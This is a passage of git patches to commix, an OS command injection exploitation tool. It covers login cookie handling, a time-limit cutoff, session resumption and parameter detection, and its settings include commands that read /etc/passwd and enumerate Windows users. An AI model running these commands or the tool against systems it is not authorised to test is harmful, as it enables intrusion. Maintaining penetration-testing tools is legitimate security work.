os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) -DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") - # Detection / Exploitation phase(s) WAF_DETECTION_PHASE = False DETECTION_PHASE = False @@ -507,9 +488,6 @@ class OS(object): PLATFORM = os.name IS_WINDOWS = PLATFORM == "nt" -# Check if OS is Windows. -#IS_WINDOWS = hasattr(sys, "getwindowsversion") - # Git URL. GIT_URL = "https://github.com/commixproject/" + APPLICATION + ".git" @@ -533,9 +511,6 @@ class OS(object): STDIN_PARSING = False -# Maximum response total page size (trimmed if larger) -MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 - # Slow target response. SLOW_TARGET_RESPONSE = 3 @@ -567,9 +542,6 @@ class OS(object): RESPONSE_DELAYS = False -# The testable parameter. -TESTABLE_PARAMETER = "" - TESTABLE_VALUE = "" # Whether TESTABLE_VALUE has already been swapped for a disposable placeholder this scan. @@ -678,9 +650,6 @@ class OS(object): USER_APPLIED_LEVEL = False PERFORM_BASIC_SCANS = True -# Start scanning state -START_SCANNING = None - # Default Temp Directory TMP_PATH = "" @@ -750,7 +719,7 @@ class OS(object): # /etc/passwd PASSWD_FILE = "/etc/passwd" -SYS_USERS = EVAL_SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE +SYS_USERS = "awk -F ':' '{print $1}{print $3}{print $6}' " + PASSWD_FILE # Exports users of localgroup WIN_SYS_USERS = "powershell.exe -InputFormat none write-host (([string]$(net user)[4..($(net user).length-3)]))" @@ -834,7 +803,6 @@ class RetryTechniqueException(Exception): # TOR HTTP Proxy TOR_HTTP_PROXY_IP = "127.0.0.1" TOR_HTTP_PROXY_PORT = "8118" -TOR_HTTP_PROXY_SCHEME = "https" CHECK_TOR_PAGE = "https://check.torproject.org/" # Cookie injection @@ -857,9 +825,6 @@ class RetryTechniqueException(Exception): CUSTOM_HEADER_NAME = "" CUSTOM_HEADER_VALUE = "" -# Valid URL format check -VALID_URL_FORMAT = r"https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?" - VALID_URL = True # Accepted shell menu options @@ -1073,11 +1038,9 @@ class RetryTechniqueException(Exception): # Enumeration options ENUMERATION_DONE = False -ENUMERATE_AGAIN = False # FIle access options FILE_ACCESS_DONE = False -FILE_ACCESS_AGAIN = False # Set when '--file-dest' targets the "/tmp/" directory, to switch straight to the tempfile-based technique. CALL_TMP_BASED = False @@ -1107,9 +1070,6 @@ class RetryTechniqueException(Exception): # Hex encoded characters recognition HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$' -# GET parameters recognition -GET_PARAMETERS_REGEX = r"(.*?)\?(.+)" - DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+' # TFB Decimal @@ -1123,7 +1083,6 @@ class RetryTechniqueException(Exception): USER_DEFINED_PHP_DIR = False # Comment out -WIN_COMMENT = "REM" COMMENT = "#" #Delete command @@ -1175,7 +1134,6 @@ class RetryTechniqueException(Exception): REQUIRED_AUTHENTICATION = False -INJECTED_HTTP_HEADER = False INJECTION_CHECKER = False INSTALL_DIR = "/usr/share/" @@ -1416,15 +1374,9 @@ class END_LINE: # a long output shows only a trailing window of this width instead of growing unbounded. PROGRESS_DISPLAY_WIDTH = 60 -# End of file -EOF = False - # Init Test INIT_TEST = "" -# Check Tor again -TOR_CHECK_AGAIN = True - # URL for checking internet connection. CHECK_INTERNET_ADDRESS = "http://ipinfo.io" @@ -1498,33 +1450,13 @@ class END_LINE: USER_AGENT = "User-Agent" REFERER = "Referer" ACCEPT = "Accept" -ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" -ACCEPT_LANGUAGE = "Accept-Language" AUTHORIZATION = "Authorization" -CACHE_CONTROL = "Cache-Control" -CONNECTION = "Connection" -CONTENT_ENCODING = "Content-Encoding" CONTENT_LENGTH = "Content-Length" -CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" -EXPIRES = "Expires" -IF_MODIFIED_SINCE = "If-Modified-Since" -IF_NONE_MATCH = "If-None-Match" -LAST_MODIFIED = "Last-Modified" -LOCATION = "Location" -PRAGMA = "Pragma" -PROXY_AUTHORIZATION = "Proxy-Authorization" -PROXY_CONNECTION = "Proxy-Connection" -RANGE = "Range" -REFERER = "Referer" -REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 SERVER = "Server" SET_COOKIE = "Set-Cookie" -TRANSFER_ENCODING = "Transfer-Encoding" -VIA = "Via" X_POWERED_BY = "X-Powered-By" -X_DATA_ORIGIN = "X-Data-Origin" # HTTP Headers values ACCEPT_VALUE = "*/*" @@ -1532,8 +1464,6 @@ class END_LINE: HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] SHELLSHOCK_HTTP_HEADERS =[ COOKIE, USER_AGENT, REFERER ] -# Regular expression used for ignoring some special chars -IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]" IGNORE_JSON_CHAR_REGEX = r"[{}\"\[\]]" FLATTEN_JSON_SEPARATOR = ''.join(random.choice("{}") for _ in range(10)) + "_" @@ -1541,8 +1471,6 @@ class END_LINE: PERFORM_CRACKING = False -PAGE_COMPRESSION = None - # Force usage of given HTTP method (e.g. PUT). HTTP_METHOD = "" @@ -1592,7 +1520,6 @@ class END_LINE: # Run host OS command(s) when injection point is found. ALERT = False -USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" # eof diff --git a/src/utils/update.py b/src/utils/update.py index 6f020df68d..49993d7219 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -82,7 +82,6 @@ def updater(): try: requirement = "git" # Check if 'git' is installed. - # requirements.do_check(requirement) if requirements.do_check(requirement) == True: if settings.VERBOSITY_LEVEL != 0: debug_msg = settings.APPLICATION.capitalize() + " will try to update itself using '" + requirement + "' command." @@ -163,7 +162,6 @@ def unicorn_updater(current_version): try: requirement = "git" # Check if 'git' is installed. - # requirements.do_check(requirement) if requirements.do_check(requirement) == True: settings.print_data_to_stdout(settings.SUCCESS_STATUS) if len(current_version) == 0: From f84fcc65fcaa026645d887222e57dc1f275c3615 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 21 Aug 2026 08:47:57 +0300 Subject: [PATCH 0740/1023] Improved login authentication to correctly capture cookies and submit via POST --- doc/CHANGELOG.md | 1 + src/core/requests/authentication.py | 11 +++++------ src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 295fe38c42..f0647ee6ac 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Improved login authentication to correctly capture cookies and submit via POST. * Revised: Improved file-read reliability by checking file existence before extraction. * Revised: Improved HTTP error handling reliability and performance. * Revised: Optimized parameter detection by skipping unnecessary value retrieval during testing. diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index db61bd3890..5449c39e56 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -50,14 +50,13 @@ def authentication_process(http_request_method): cj = _http_cookiejar.CookieJar() opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj), redirection.RedirectHandler()) _urllib.request.install_opener(opener) - request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method) + # Login data is always form-submitted as POST, regardless of the target URL's own method. + request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=settings.HTTPMETHOD.POST) # Check if defined extra headers. headers.do_check(request) - # check_http_traffic() already sends the request and returns the response - - # reuse it instead of sending the same request a second time. - response = headers.check_http_traffic(request) - if response is None: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # Must go through the cookie-jar opener installed above (not + # check_http_traffic()'s own opener), or the jar never gets filled. + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # HTTPCookieProcessor only fills the jar after the response is received. cookies = "" for cookie in cj: diff --git a/src/utils/settings.py b/src/utils/settings.py index dd983191c9..3f93e06f25 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -285,7 +285,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "83" +REVISION = "84" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8689a3935eb948fbd844173457f38ae9f6039156 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 21 Aug 2026 08:48:30 +0300 Subject: [PATCH 0741/1023] Improved `--time-limit` to reliably abort the scan at the configured limit --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 2 +- src/core/main.py | 10 ++++++++++ src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 5 files changed, 14 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index f0647ee6ac..142538ca6e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Revised: Improved `--time-limit` to reliably abort the scan at the configured limit. * Fixed: Improved login authentication to correctly capture cookies and submit via POST. * Revised: Improved file-read reliability by checking file existence before extraction. * Revised: Improved HTTP error handling reliability and performance. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cfe74ca114..f2b838173d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1154,7 +1154,7 @@ def continue_tests(err): try: detect_waf(err.code) warn_msg = "The web server responded with an HTTP error code '" + str(err.code) - warn_msg += "', which could interfere with the results of the tests." + warn_msg += "' which could interfere with the results of the tests." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.IGNORE_CODE.append(err.code) return True diff --git a/src/core/main.py b/src/core/main.py index d3ddbce745..6d054f7e55 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -18,6 +18,7 @@ import sys import time import random +import signal from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 @@ -687,6 +688,15 @@ def main(filename, url, http_request_method): else: settings.VERBOSITY_LEVEL = menu.options.verbose + # Hard '--time-limit' cutoff - a signal, immune to exception handling elsewhere. + if menu.options.time_limit and hasattr(signal, "alarm"): + def _time_limit_reached(signum, frame): + err_msg = "Reached the specified time limit of " + str(menu.options.time_limit) + " second(s)." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + os._exit(0) + signal.signal(signal.SIGALRM, _time_limit_reached) + signal.alarm(max(1, int(round(menu.options.time_limit)))) + if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.execution("Starting")) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index a2e475c431..23dea6bbe3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -458,7 +458,7 @@ def request_failed(err_msg): elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) - warn_msg += "', which could interfere with the results of the tests." + warn_msg += "' which could interfere with the results of the tests." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): return False diff --git a/src/utils/settings.py b/src/utils/settings.py index 3f93e06f25..7b73a78f5d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -285,7 +285,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "84" +REVISION = "85" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 31fd03fcdc92a085d1f82a544ec0e627bbdf8e68 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 21 Aug 2026 08:49:09 +0300 Subject: [PATCH 0742/1023] Refactored `--disable-coloring` switch to reliably strip ANSI color codes from output --- doc/CHANGELOG.md | 3 ++- src/core/main.py | 5 +++-- src/utils/settings.py | 8 +++++++- 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 142538ca6e..87b37118b5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Fixed: Refactored `--disable-coloring` switch to reliably strip ANSI color codes from output. * Revised: Improved `--time-limit` to reliably abort the scan at the configured limit. * Fixed: Improved login authentication to correctly capture cookies and submit via POST. * Revised: Improved file-read reliability by checking file existence before extraction. @@ -7,7 +8,7 @@ * Revised: Improved data extraction performance for time-related techniques. * Fixed: Resumed stored techniques are trusted immediately, without a redundant live re-check. * Fixed: Improved reliability of HTTP error handling to avoid duplicate requests and inaccurate delay measurements. -* Revised: Improved switch `--purge` only to clear the current target's session. +* Revised: Improved `--purge` switch only to clear the current target's session. * Revised: Improved WAF/IPS detection coverage, now cached per target across resumed scans. * Added: Interactive Ctrl-C handling during detection and exploitation, with cleaner exit handling. * Fixed: Multiple bug-fixes improving detection accuracy and reliability for results-based techniques. diff --git a/src/core/main.py b/src/core/main.py index 6d054f7e55..cd517cfb50 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -57,8 +57,9 @@ import codecs # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) - # Use Colorama to make Termcolor work on Windows too :) - init() + # Use Colorama to make Termcolor work on Windows too :) - keep stripping if '--disable-coloring' set it. + from src.utils import colors + init(strip=(True if not colors.ENABLE_COLORING else None), convert=(False if not colors.ENABLE_COLORING else None)) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 7b73a78f5d..93cff5c903 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -50,6 +50,12 @@ def sys_argv_checks(): sys_argv_checks() from src.thirdparty.colorama import Fore, Back, Style, init +from src.utils import colors +if not colors.ENABLE_COLORING: + # Strip ANSI codes at write time - the print_*_msg helpers below always + # build them in, regardless of this flag. + init(strip=True, convert=False) + class HTTPMETHOD(object): GET = "GET" POST = "POST" @@ -285,7 +291,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "85" +REVISION = "86" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2edb99b00a7916ca740b0c0ec81432496ae5215d Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 22 Aug 2026 12:44:53 +0300 Subject: [PATCH 0743/1023] Improved parameter handling and session resumption reliability --- doc/CHANGELOG.md | 2 + src/core/injections/controller/checks.py | 15 +++--- src/core/injections/controller/controller.py | 16 +++++- src/core/injections/controller/handler.py | 3 ++ src/core/requests/headers.py | 8 +-- src/utils/session_handler.py | 57 ++++++++++++++++++++ src/utils/settings.py | 4 +- 7 files changed, 94 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 87b37118b5..9c35f4f585 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Fixed: Time-related techniques persist the skip-testable-value optimization across resumed sessions. +* Fixed: Benign patterns like 'Accept: */*' are no longer misdetected as a custom injection marker. * Fixed: Refactored `--disable-coloring` switch to reliably strip ANSI color codes from output. * Revised: Improved `--time-limit` to reliably abort the scan at the configured limit. * Fixed: Improved login authentication to correctly capture cookies and submit via POST. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f2b838173d..a95e1775e4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -246,16 +246,19 @@ def custom_injection_marker_character(url, http_request_method): _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True if not _: option = "option '--header(s)/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: + # Values like 'Accept: */*' or ';q=0.9' legitimately contain '*' - don't misread them as a marker. + def has_marker(value): + return bool(value) and settings.CUSTOM_INJECTION_MARKER_CHAR in re.sub(settings.PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value) + + if has_marker(menu.options.cookie): settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True - if menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + if has_marker(menu.options.agent): settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True - if menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + if has_marker(menu.options.referer): settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True - if menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + if has_marker(menu.options.host): settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True - if (menu.options.header and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.header) or \ - (menu.options.headers and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.headers): + if has_marker(menu.options.header) or has_marker(menu.options.headers): settings.CUSTOM_INJECTION_MARKER = True if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1ac00c1eaa..c35ab6bf96 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -326,7 +326,7 @@ def check_parameter_in_http_header(check_parameter): Replace the parameter value with a disposable placeholder if the response stays the same but gets faster. """ def attempt_skip_testable_value(url, http_request_method, check_parameter): - if settings.LOAD_SESSION or not settings.TESTABLE_VALUE: + if not settings.TESTABLE_VALUE: return url if any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): @@ -338,6 +338,19 @@ def attempt_skip_testable_value(url, http_request_method, check_parameter): if not in_data and not in_url: return url + if settings.LOAD_SESSION: + # Trust a previously confirmed placeholder outright - no live probe on resume. + stored_placeholder = session_handler.check_stored_testable_value(url, check_parameter, http_request_method) + if not stored_placeholder: + return url + if in_data: + menu.options.data = menu.options.data.replace(marker, stored_placeholder + settings.INJECT_TAG) + else: + url = url.replace(marker, stored_placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = stored_placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True + return url + param_label = ("POST" if in_data else "GET") + " parameter '" + check_parameter + "'" if settings.VERBOSITY_LEVEL != 0: debug_msg = "Testing if " + param_label + " requires its original value." @@ -379,6 +392,7 @@ def build(value): url = url.replace(marker, placeholder + settings.INJECT_TAG) settings.TESTABLE_VALUE = placeholder settings.TESTABLE_VALUE_OPTIMIZED = True + session_handler.import_testable_value_status(url, check_parameter, http_request_method, placeholder) # Don't reset settings.RESPONSE_TIMES - MIN_SAFE_TIMESEC already floors timesec, and resetting forces a slow, silent re-warm-up. if settings.VERBOSITY_LEVEL != 0: debug_msg = "The real parameter value isn't required. Skipping it for faster requests." diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 47a1827363..86317f3aed 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -229,6 +229,7 @@ def probe_skip_testable_value_post_detection(separator, timesec, http_request_me return original_url, prefix settings.TESTABLE_VALUE_OPTIMIZED = True + session_handler.import_testable_value_status(url, vuln_parameter, http_request_method, placeholder) # Don't reset settings.RESPONSE_TIMES - MIN_SAFE_TIMESEC already floors timesec, and resetting forces a slow, silent re-warm-up. if settings.VERBOSITY_LEVEL != 0: debug_msg = "The real parameter value isn't required. Skipping it for faster requests." @@ -305,6 +306,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti if stored_row: try: url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) # Re-apply the minimum safe delay to the stored session. if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): timesec = max(timesec, settings.MIN_SAFE_TIMESEC) @@ -592,6 +594,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if stored_row: try: url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: settings.FILE_BASED_STATE = True checks.check_for_stored_tamper(payload) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6517c7792f..fc0bbb41b6 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -496,11 +496,13 @@ def do_check(request): # Check if it is a custom header injection. if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: if not settings.CUSTOM_HEADER_INJECTION: - if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: + # Values like 'Accept: */*' or ';q=0.9' legitimately contain '*' - don't misread them as a marker. + benign_value = re.sub(settings.PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", http_header_value) + if settings.CUSTOM_INJECTION_MARKER_CHAR in benign_value: settings.CUSTOM_INJECTION_MARKER = True settings.CUSTOM_HEADER_CHECK = http_header_name - - if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value or \ + + if settings.CUSTOM_INJECTION_MARKER_CHAR in benign_value or \ http_header_name in settings.TESTABLE_PARAMETERS_LIST or \ settings.INJECT_TAG in http_header_value or \ settings.ASTERISK_MARKER in http_header_value: diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index b958157383..e562205be7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -14,6 +14,7 @@ """ import os +import re import sys import time import base64 @@ -559,6 +560,62 @@ def restore_waf_status(url): info_msg = "Previous session heuristics detected that the target is protected by some kind of WAF/IPS." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) +""" +Store a confirmed testable-value placeholder, so a resumed session can reuse +it instead of re-probing whether the parameter's real value is required. +""" +def import_testable_value_status(url, vuln_parameter, http_request_method, placeholder): + try: + with _session_connection() as conn: + table = table_name(url) + "_tv" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (vuln_parameter VARCHAR, http_request_method VARCHAR, placeholder VARCHAR);") + conn.execute("DELETE FROM \"" + table + "\" WHERE vuln_parameter = ? AND http_request_method = ?;", (vuln_parameter, http_request_method)) + conn.execute("INSERT INTO \"" + table + "\" (vuln_parameter, http_request_method, placeholder) VALUES (?, ?, ?)", (vuln_parameter, http_request_method, placeholder)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Retrieve a previously confirmed testable-value placeholder. Returns None if nothing is stored. +""" +def check_stored_testable_value(url, vuln_parameter, http_request_method): + try: + with _session_connection() as conn: + table = table_name(url) + "_tv" + query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" + if not conn.execute(query, (table,)).fetchone(): + return None + row = conn.execute("SELECT placeholder FROM \"" + table + "\" WHERE vuln_parameter = ? AND http_request_method = ?;", (vuln_parameter, http_request_method)).fetchone() + return row[0] if row else None + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return None + +""" +Re-apply the stored placeholder to URL/data/prefix; the stored prefix still has the original value. +""" +def reapply_testable_value(url, vuln_parameter, http_request_method, prefix=None): + placeholder = check_stored_testable_value(url, vuln_parameter, http_request_method) + if not placeholder: + return (url, prefix) if prefix is not None else url + # Use the reloaded row's value; settings.TESTABLE_VALUE may already be a placeholder. + tag_pattern = r'([^&=]*)' + re.escape(settings.INJECT_TAG) + if menu.options.data and settings.INJECT_TAG in menu.options.data: + match = re.search(tag_pattern, menu.options.data) + if match and match.group(1) != placeholder: + menu.options.data = menu.options.data.replace(match.group(1) + settings.INJECT_TAG, placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True + elif settings.INJECT_TAG in url: + match = re.search(tag_pattern, url) + if match and match.group(1) != placeholder: + url = url.replace(match.group(1) + settings.INJECT_TAG, placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True + if prefix is not None and prefix and prefix != placeholder: + prefix = placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True + return (url, prefix) if prefix is not None else url + """ Save valid authentication credentials (e.g., username and password) discovered during testing into the session database. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 93cff5c903..1a2e75e85e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -291,7 +291,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "86" +REVISION = "87" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -436,6 +436,8 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] PRE_CUSTOM_INJECTION_MARKER_CHAR = "" POST_CUSTOM_INJECTION_MARKER_CHAR = "" +# Benign patterns that legitimately contain '*' (e.g. 'Accept: */*') - excluded from marker detection. +PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;'*]+)|(\*/\*)" class INJECTION_MARKER_LOCATION(object): URL = False From 26085634a6b0e899a05202f476c29dd92a3239cb Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 22 Aug 2026 12:51:05 +0300 Subject: [PATCH 0744/1023] Added dynamic parameter detection to identify parameters whose values change between requests --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 66 +++++++++++++++++++- src/utils/settings.py | 2 +- 3 files changed, 67 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9c35f4f585..057d2ea2c2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: Dynamic parameter detection to identify parameters whose values change between requests. * Fixed: Time-related techniques persist the skip-testable-value optimization across resumed sessions. * Fixed: Benign patterns like 'Accept: */*' are no longer misdetected as a custom injection marker. * Fixed: Refactored `--disable-coloring` switch to reliably strip ANSI color codes from output. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c35ab6bf96..4c52bbeb4b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -19,6 +19,7 @@ import time import random import string +import difflib from src.utils import menu from src.utils import logs from src.utils import settings @@ -322,6 +323,68 @@ def check_parameter_in_http_header(check_parameter): init_http_header_injection_status() return inject_http_headers +""" +Warn if changing the parameter never changes the response; classic/dynamic_code require reflection. +""" +def check_parameter_dynamism(url, http_request_method, check_parameter): + if settings.LOAD_SESSION or not settings.TESTABLE_VALUE: + return + if menu.options.tech and "c" not in menu.options.tech and "e" not in menu.options.tech: + return + + marker = settings.TESTABLE_VALUE + settings.INJECT_TAG + + def build(header_name, option_value, value): + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + else: + data = None + request = _urllib.request.Request(url, data, method=http_request_method) + headers.do_check(request) + request.add_header(header_name, option_value.replace(marker, value)) + return request + + if settings.COOKIE_INJECTION and menu.options.cookie and marker in menu.options.cookie: + param_label = "Cookie parameter '" + check_parameter + "'" + fetch = lambda v: build(settings.COOKIE, menu.options.cookie, v) + elif settings.USER_AGENT_INJECTION and menu.options.agent and marker in menu.options.agent: + param_label = "User-Agent HTTP header" + fetch = lambda v: build(settings.USER_AGENT, menu.options.agent, v) + elif settings.REFERER_INJECTION and menu.options.referer and marker in menu.options.referer: + param_label = "Referer HTTP header" + fetch = lambda v: build(settings.REFERER, menu.options.referer, v) + elif settings.HOST_INJECTION and menu.options.host and marker in menu.options.host: + param_label = "Host HTTP header" + fetch = lambda v: build(settings.HOST, menu.options.host, v) + else: + in_data = bool(menu.options.data) and marker in menu.options.data + if not in_data and marker not in url: + return + param_label = ("POST" if in_data else "GET") + " parameter '" + check_parameter + "'" + def fetch(v): + if in_data: + data = menu.options.data.replace(marker, v) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(url.replace(marker, v), 